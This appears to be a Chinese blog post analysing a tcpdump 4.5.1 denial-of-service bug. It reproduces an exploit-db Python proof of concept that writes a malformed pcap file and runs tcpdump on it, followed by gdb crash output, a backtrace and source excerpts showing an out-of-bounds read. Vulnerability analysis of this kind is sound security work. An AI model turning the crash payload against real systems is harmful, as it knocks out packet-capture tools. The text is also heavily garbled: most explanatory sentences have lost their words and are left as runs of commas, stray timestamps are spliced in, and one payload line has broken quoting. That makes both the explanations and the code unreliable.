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< meta name = "description" content = "TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统： ， >
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< meta property = "og:description" content = "TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统： ， >
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< meta name = "twitter:description" content = "TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统： ， >
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< h1 id = "TCPDUMP-4-5-1-拒绝服务攻击漏洞分析" > < a href = "#TCPDUMP-4-5-1-拒绝服务攻击漏洞分析" class = "headerlink" title = "TCPDUMP 4.5.1 拒绝服务攻击漏洞分析" > < / a > TCPDUMP 4.5.1 拒绝服务攻击漏洞分析< / h1 > < h2 id = "Tcpdump介绍" > < a href = "#Tcpdump介绍" class = "headerlink" title = "Tcpdump介绍" > < / a > Tcpdump介绍< / h2 > < ol >
< li > tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统： ， ； ， < / li >
< li > tcpdump能够分析网络行为， ， ， < / li >
< li > 也可以使用 tcpdump 的实现特定目的，例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量， ， ， ， < / li >
< / ol >
< h2 id = "分析环境" > < a href = "#分析环境" class = "headerlink" title = "分析环境" > < / a > 分析环境< / h2 > < ul >
< li > Ubuntu 16.04.4 LTS i686< / li >
< li > tcpdump 4.5.1< / li >
< li > gdb with peda< / li >
< / ul >
< h2 id = "漏洞复现" > < a href = "#漏洞复现" class = "headerlink" title = "漏洞复现" > < / a > 漏洞复现< / h2 > < p > 这个漏洞触发的原因是， ， ， ， ， ， ， ， < / p >
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< h3 id = "编译安装tcpdump" > < a href = "#编译安装tcpdump" class = "headerlink" title = "编译安装tcpdump" > < / a > 编译安装tcpdump< / h3 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. # apt-get install libpcap-dev< / span > < br > < span class = "line" > 2. # dpkg -l libpcap-dev< / span > < br > < span class = "line" > 3. # wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz< / span > < br > < span class = "line" > 4. # tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz< / span > < br > < span class = "line" > 5. # cd tcpdump-4.5.1/< / span > < br > < span class = "line" > 6. # ./configure< / span > < br > < span class = "line" > 7. # make< / span > < br > < span class = "line" > 8. # make install< / span > < br > < span class = "line" > 9. # tcpdump – < / span > < br > < span class = "line" > tcpdump version 4.5.1< / span > < br > < span class = "line" > libpcap version 1.7.4< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h3 id = "生成payload（ ） > < a href = "#生成payload（ ） class = "headerlink" title = "生成payload（ ） > < / a > 生成payload（ ） < / h3 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > # Exploit Title: tcpdump 4.5.1 Access Violation Crash< / span > < br > < span class = "line" > # Date: 31st May 2016< / span > < br > < span class = "line" > # Exploit Author: David Silveiro< / span > < br > < span class = "line" > # Vendor Homepage: http://www.tcpdump.org< / span > < br > < span class = "line" > # Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz< / span > < br > < span class = "line" > # Version: 4.5.1< / span > < br > < span class = "line" > # Tested on: Ubuntu 14 LTS< / span > < br > < span class = "line" > from subprocess import call< / span > < br > < span class = "line" > from shlex import split< / span > < br > < span class = "line" > from time import sleep< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > def crash():< / span > < br > < span class = "line" > command = ' tcpdump -r crash' < / span > < br > < span class = "line" > buffer = ' \xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' < / span > < br > < span class = "line" > buffer += ' \x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' < / span > < br > < span class = "line" > buffer += ' \x00\x00\x00\x00\x00\x08\x00\x00\x00\x00< \x9c7@\xff\x00' < / span > < br > < span class = "line" > buffer += ' \x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a' < / span > < br > < span class = "line" > buffer += " \x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0& \x80\x18\' " < / span > < br > < span class = "line" > buffer += " xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n' , ' \x00\x00\x00\x00" < / span > < br > < span class = "line" > buffer += ' \x00\x00\x00\x00\x01\x03\x03\x04' < / span > < br > < span class = "line" > with open(' crash' , ' w+b' ) as file:< / span > < br > < span class = "line" > file.write(buffer)< / span > < br > < span class = "line" > try:< / span > < br > < span class = "line" > call(split(command))< / span > < br > < span class = "line" > print(" Exploit successful! " )< / span > < br > < span class = "line" > except:< / span > < br > < span class = "line" > print(" Error: Something has gone wrong!" )< / span > < br > < span class = "line" > def main():< / span > < br > < span class = "line" > print(" Author: David Silveiro " )< / span > < br > < span class = "line" > print(" tcpdump version 4.5.1 Access Violation Crash " )< / span > < br > < span class = "line" > sleep(2)< / span > < br > < span class = "line" > crash()< / span > < br > < span class = "line" > if __name__ == " __main__" :< / span > < br > < span class = "line" > main()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h2 id = "崩溃分析" > < a href = "#崩溃分析" class = "headerlink" title = "崩溃分析" > < / a > 崩溃分析< / h2 > < h3 id = "pcap包格式" > < a href = "#pcap包格式" class = "headerlink" title = "pcap包格式" > < / a > pcap包格式< / h3 > < p > 首先来分析一下pcap包的格式， ， ， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > struct pcap_file_header { < / span > < br > < span class = "line" > bpf_u_int32 magic;< / span > < br > < span class = "line" > u_short version_major;< / span > < br > < span class = "line" > u_short version_minor;< / span > < br > < span class = "line" > bpf_int32 thiszone; /* gmt to local correction */< / span > < br > < span class = "line" > bpf_u_int32 sigfigs; /* accuracy of timestamps */< / span > < br > < span class = "line" > bpf_u_int32 snaplen; /* max length saved portion of each pkt */< / span > < br > < span class = "line" > bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */< / span > < br > < span class = "line" > } ;< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 看一下各字段的含义：< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > magic： < / span > < br > < span class = "line" > major： < / span > < br > < span class = "line" > minor： < / span > < br > < span class = "line" > thiszone： ， < / span > < br > < span class = "line" > sigfigs： ， < / span > < br > < span class = "line" > snaplen： ， （ ） ， < / span > < br > < span class = "line" > tcpdump -s 0就是设置这个参数， < / span > < br > < span class = "line" > linktype： ： < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > struct pcap_pkthdr { < / span > < br > < span class = "line" > struct timeval ts; /* time stamp */< / span > < br > < span class = "line" > bpf_u_int32 caplen; /* length of portion present */< / span > < br > < span class = "line" > bpf_u_int32 len; /* length this packet (off wire) */< / span > < br > < span class = "line" > } ;< / span > < br > < span class = "line" > struct timeval { < / span > < br > < span class = "line" > long tv_sec; /* seconds (XXX should be time_t) */< / span > < br > < span class = "line" > suseconds_t tv_usec; /* and microseconds */< / span > < br > < span class = "line" > } ;< / span > < br > < span class = "line" > ts： ， < / span > < br > < span class = "line" > caplen： （ ， ） < / span > < br > < span class = "line" > len： ， ， < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
2019-07-01 09:29:47 +00:00
< p > 其中len变量是值得关注的， ， < br > 这是一个很大的值， ， ， ， ， ， ， < / p >
2019-07-16 09:15:34 +00:00
< h3 id = "gdb调试" > < a href = "#gdb调试" class = "headerlink" title = "gdb调试" > < / a > gdb调试< / h3 > < p > 首先通过gdb运行tcpdump， ， ， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. Program received signal SIGSEGV, Segmentation fault.< / span > < br > < span class = "line" > 2. [----------------------------------registers-----------------------------------]< / span > < br > < span class = "line" > 3. EAX: 0x1< / span > < br > < span class = "line" > 4. EBX: 0x81e33bd --> 0x0< / span > < br > < span class = "line" > 5. ECX: 0x2e (' .' )< / span > < br > < span class = "line" > 6. EDX: 0x0< / span > < br > < span class = "line" > 7. ESI: 0xbfffe201 (' .' < repeats 14 times> )< / span > < br > < span class = "line" > 8. EDI: 0xbfffe1db --> 0x30303000 (' ' )< / span > < br > < span class = "line" > 9. EBP: 0x10621< / span > < br > < span class = "line" > 10. ESP: 0xbfffe1ac --> 0x8053caa (< hex_and_ascii_print_with_offset+170> : mov ecx,DWORD PTR [esp+0xc])< / span > < br > < span class = "line" > 11. EIP: 0x8053c6a (< hex_and_ascii_print_with_offset+106> : movzx edx,BYTE PTR [ebx+ebp*2+0x1])< / span > < br > < span class = "line" > 12. EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)< / span > < br > < span class = "line" > 13. [-------------------------------------code-------------------------------------]< / span > < br > < span class = "line" > 14. 0x8053c5d < hex_and_ascii_print_with_offset+93> : je 0x8053d40 < hex_and_ascii_print_with_offset+320> < / span > < br > < span class = "line" > 15. 0x8053c63 < hex_and_ascii_print_with_offset+99> : mov ebx,DWORD PTR [esp+0x18]< / span > < br > < span class = "line" > 16. 0x8053c67 < hex_and_ascii_print_with_offset+103> : sub esp,0x4< / span > < br > < span class = "line" > 17. => 0x8053c6a < hex_and_ascii_print_with_offset+106> : movzx edx,BYTE PTR [ebx+ebp*2+0x1]< / span > < br > < span class = "line" > 18. 0x8053c6f < hex_and_ascii_print_with_offset+111> : movzx ecx,BYTE PTR [ebx+ebp*2]< / span > < br > < span class = "line" > 19. 0x8053c73 < hex_and_ascii_print_with_offset+115> : push edx< / span > < br > < span class = "line" > 20. 0x8053c74 < hex_and_ascii_print_with_offset+116> : mov ebx,edx< / span > < br > < span class = "line" > 21. 0x8053c76 < hex_and_ascii_print_with_offset+118> : mov DWORD PTR [esp+0x18],edx< / span > < br > < span class = "line" > 22. [------------------------------------stack-------------------------------------]< / span > < br > < span class = "line" > 23. 0000| 0xbfffe1ac --> 0x8053caa (< hex_and_ascii_print_with_offset+170> : mov ecx,DWORD PTR [esp+0xc])< / span > < br > < span class = "line" > 24. 0004| 0xbfffe1b0 --> 0xb7fff000 --> 0x23f3c< / span > < br > < span class = "line" > 25. 0008| 0xbfffe1b4 --> 0x1< / span > < br > < span class = "line" > 26. 0012| 0xbfffe1b8 --> 0x2f5967 (' gY/' )< / span > < br > < span class = "line" > 27. 0016| 0xbfffe1bc --&
< p > 从崩溃信息来看， < em > cp++;崩溃原因为SIGSEGV， ， ， < / em > 2+0x1]的内容，可能是越界读取造成的崩溃。< br > 再结合源码信息可知， ， ， ， ， ， ， < br > 我们通过bt回溯一下调用情况。< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. gdb-peda$ bt< / span > < br > < span class = "line" > 2. #0 hex_and_ascii_print_with_offset (ident=0x80c04af " \n\t" , cp=0x8204000 < error: Cannot access memory at address 0x8204000> ,< / span > < br > < span class = "line" > 3. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91< / span > < br > < span class = "line" > 4. #1 0x08053e26 in hex_and_ascii_print (ident=0x80c04af " \n\t" , cp=0x81e33bd " " , length=0xfffffff3) at ./print-ascii.c:127< / span > < br > < span class = "line" > 5. #2 0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 < Gndo> , h=0xbfffe40c, p=< optimized out> ) at ./print-802_15_4.c:180< / span > < br > < span class = "line" > 6. #3 0x080a0aea in print_packet (user=0xbfffe4dc " \023\036\b\300\034\005\b\001" , h=0xbfffe40c, sp=0x81e33a8 " @\377" )< / span > < br > < span class = "line" > 7. at ./tcpdump.c:1950< / span > < br > < span class = "line" > 8. #4 0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8< / span > < br > < span class = "line" > 9. #5 0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8< / span > < br > < span class = "line" > 10. #6 0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:1569< / span > < br > < span class = "line" > 11. #7 0xb7de9637 in __libc_start_main (main=0x804a4c0 < main> , argc=0x3, argv=0xbffff6c4, init=0x80b1230 < __libc_csu_init> ,< / span > < br > < span class = "line" > 12. fini=0x80b1290 < __libc_csu_fini> , rtld_fini=0xb7fea880 < _dl_fini> , stack_end=0xbffff6bc) at ../csu/libc-start.c:291< / span > < br > < span class = "line" > 13. #8 0x0804c245 in _start ()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 函数调用流程< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > pcap_loop< / span > < br > < span class = "line" > |----print_packet< / span > < br > < span class = "line" > |-----hex_and_ascii_print< / span > < br > < span class = "line" > |-------- hex_and_ascii_print_with_offset< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 由此可见， ， < br > tcpdump.c找到pcap_loop调用< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. do { < / span > < br > < span class = "line" > 2. status = pcap_loop(pd, cnt, callback, pcap_userdata);< / span > < br > < span class = "line" > 3. if (WFileName == NULL) { < / span > < br > < span class = "line" > 4. /*< / span > < br > < span class = "line" > 5. * We' re printing packets. Flush the printed output,< / span > < br > < span class = "line" > 6. * so it doesn' t get intermingled with error output.< / span > < br > < span class = "line" > 7. */< / span > < br > < span class = "line" > 8. if (status == -2) { < / span > < br > < span class = "line" > 9. /*< / span > < br > < span class = "line" > 10. * We got interrupted, so perhaps we didn' t< / span > < br > < span class = "line" > 11. * manage to finish a line we were printing.< / span > < br > < span class = "line" > 12. * Print an extra newline, just in case.< / span > < br > < span class = "line" > 13. */< / span > < br > < span class = "line" > 14. putchar(' n' );< / span > < br > < span class = "line" > 15. } < / span > < br > < span class = "line" > 16. (void)fflush(stdout);< / span > < br > < span class = "line" > 17. } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
2019-07-01 09:29:47 +00:00
< p > 设置断点之后查看一下该函数的执行结果< / p >
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< p > pcap_loop通过callback指向print_packet,来看一下它的源码< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. static void< / span > < br > < span class = "line" > 2. print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)< / span > < br > < span class = "line" > 3. { < / span > < br > < span class = "line" > 4. struct print_info *print_info;< / span > < br > < span class = "line" > 5. u_int hdrlen;< / span > < br > < span class = "line" > 6. ++packets_captured;< / span > < br > < span class = "line" > 7. ++infodelay;< / span > < br > < span class = "line" > 8. ts_print(& h-> ts);< / span > < br > < span class = "line" > 9. print_info = (struct print_info *)user;< / span > < br > < span class = "line" > 10. /*< / span > < br > < span class = "line" > 11. * Some printers want to check that they' re not walking off the< / span > < br > < span class = "line" > 12. * end of the packet.< / span > < br > < span class = "line" > 13. * Rather than pass it all the way down, we set this global.< / span > < br > < span class = "line" > 14. */< / span > < br > < span class = "line" > 15. snapend = sp + h-> caplen;< / span > < br > < span class = "line" > 16. if(print_info-> ndo_type) { < / span > < br > < span class = "line" > 17. hdrlen = (*print_info-> p.ndo_printer)(print_info-> ndo, h, sp);< ====< / span > < br > < span class = "line" > 18. } else { < / span > < br > < span class = "line" > 19. hdrlen = (*print_info-> p.printer)(h, sp);< / span > < br > < span class = "line" > 20. } < / span > < br > < span class = "line" > 21. putchar(' n' );< / span > < br > < span class = "line" > 22. --infodelay;< / span > < br > < span class = "line" > 23. if (infoprint)< / span > < br > < span class = "line" > 24. info(0);} < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< p > 同样设置断点看该函数是如何调用执行的< / p >
< p > 这是我们可以根据call的信息， < / p >
< p > 其中(*print_info-> p.ndo_printer)(print_info-> ndo,h,sp)指向ieee802_15_4_if_print< / p >
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< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < span class = "line" > 42< / span > < br > < span class = "line" > 43< / span > < br > < span class = "line" > 44< / span > < br > < span class = "line" > 45< / span > < br > < span class = "line" > 46< / span > < br > < span class = "line" > 47< / span > < br > < span class = "line" > 48< / span > < br > < span class = "line" > 49< / span > < br > < span class = "line" > 50< / span > < br > < span class = "line" > 51< / span > < br > < span class = "line" > 52< / span > < br > < span class = "line" > 53< / span > < br > < span class = "line" > 54< / span > < br > < span class = "line" > 55< / span > < br > < span class = "line" > 56< / span > < br > < span class = "line" > 57< / span > < br > < span class = "line" > 58< / span > < br > < span class = "line" > 59< / span > < br > < span class = "line" > 60< / span > < br > < span class = "line" > 61< / span > < br > < span class = "line" > 62< / span > < br > < span class = "line" > 63< / span > < br > < span class = "line" > 64< / span > < br > < span class = "line" > 65< / span > < br > < span class = "line" > 66< / span > < br > < span class = "line" > 67< / span > < br > < span class = "line" > 68< / span > < br > < span class = "line" > 69< / span > < br > < span class = "line" > 70< / span > < br > < span class = "line" > 71< / span > < br > < span class = "line" > 72< / span > < br > < span class = "line" > 73< / span > < br > < span class = "line" > 74< / span > < br > < span class = "line" > 75< / span > < br > < span class = "line" > 76< / span > < br > < span class = "line" > 77< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 25. u_int< / span > < br > < span class = "line" > 26. ieee802_15_4_if_print(struct netdissect_options *ndo,< / span > < br > < span class = "line" > 27. const struct pcap_pkthdr *h, const u_char *p)< / span > < br > < span class = "line" > 28. { < / span > < br > < span class = "line" > 29. printf(" address : %x\n" ,p);< / span > < br > < span class = "line" > 30. u_int caplen = h-> caplen; //传入的caplen， < / span > < br > < span class = "line" > 31. int hdrlen;< / span > < br > < span class = "line" > 32. u_int16_t fc;< / span > < br > < span class = "line" > 33. u_int8_t seq;< / span > < br > < span class = "line" > 34. if (caplen < 3) { //不满足< / span > < br > < span class = "line" > 35. ND_PRINT((ndo, " [|802.15.4] %x" , caplen));< / span > < br > < span class = "line" > 36. return caplen;< / span > < br > < span class = "line" > 37. } < / span > < br > < span class = "line" > 38. fc = EXTRACT_LE_16BITS(p);< / span > < br > < span class = "line" > 39. hdrlen = extract_header_length(fc);< / span > < br > < span class = "line" > 40. seq = EXTRACT_LE_8BITS(p + 2);< / span > < br > < span class = "line" > 41. p += 3;< / span > < br > < span class = "line" > 42. caplen -= 3;//此时caplen = 5< / span > < br > < span class = "line" > 43. ND_PRINT((ndo," IEEE 802.15.4 %s packet " , ftypes[fc & 0x7]));< / span > < br > < span class = "line" > 44. if (vflag)< / span > < br > < span class = "line" > 45. ND_PRINT((ndo," seq %02x " , seq));< / span > < br > < span class = "line" > 46. if (hdrlen == -1) { < / span > < br > < span class = "line" > 47. ND_PRINT((ndo," malformed! " ));< / span > < br > < span class = "line" > 48. return caplen;< / span > < br
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< p > 传入的第二个值是struct pcap_pkthdr *h结构体， ， ， ， ， < br > 直接跟进函数，看看最后赋值情况< / p >
< p > 从源码和调试信息可以看到libpcap在处理不正常包时不严谨， ， ， < br > 继续跟进hex_and_asciii_print(ndo_default_print)< / p >
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< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. void< / span > < br > < span class = "line" > 2. hex_and_ascii_print(register const char *ident, register const u_char *cp,< / span > < br > < span class = "line" > 3. register u_int length)< / span > < br > < span class = "line" > 4. { < / span > < br > < span class = "line" > 5. hex_and_ascii_print_with_offset(ident, cp, length, 0);< / span > < br > < span class = "line" > 6. } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 其中length==0xfffffff3， < / span > < br > < span class = "line" > 1. void< / span > < br > < span class = "line" > 2. hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,< / span > < br > < span class = "line" > 3. register u_int oset)< / span > < br > < span class = "line" > 4. { < / span > < br > < span class = "line" > 5. register u_int i, s;< / span > < br > < span class = "line" > 6. register int nshorts;< / span > < br > < span class = "line" > 7.< / span > < br > < span class = "line" > 8. nshorts = (u_int) length / sizeof(u_short);< / span > < br > < span class = "line" > 9. i = 0;< / span > < br > < span class = "line" > 10. while (--nshorts > = 0) { < / span > < br > < span class = "line" > 11. if ((i++ % 8) == 0) { < / span > < br > < span class = "line" > 12. (void)printf(" %s0x%04x: " , ident, oset);< / span > < br > < span class = "line" > 13. oset += HEXDUMP_BYTES_PER_LINE;< / span > < br > < span class = "line" > 14. } < / span > < br > < span class = "line" > 15. s = *cp++; < ======= 抛出错误位置< / span > < br > < span class = "line" > 16. (void)printf(" %02x%02x" , s, *cp++);< / span > < br > < span class = "line" > 17. } < / span > < br > < span class = "line" > 18. if (length & 1) { < / span > < br > < span class 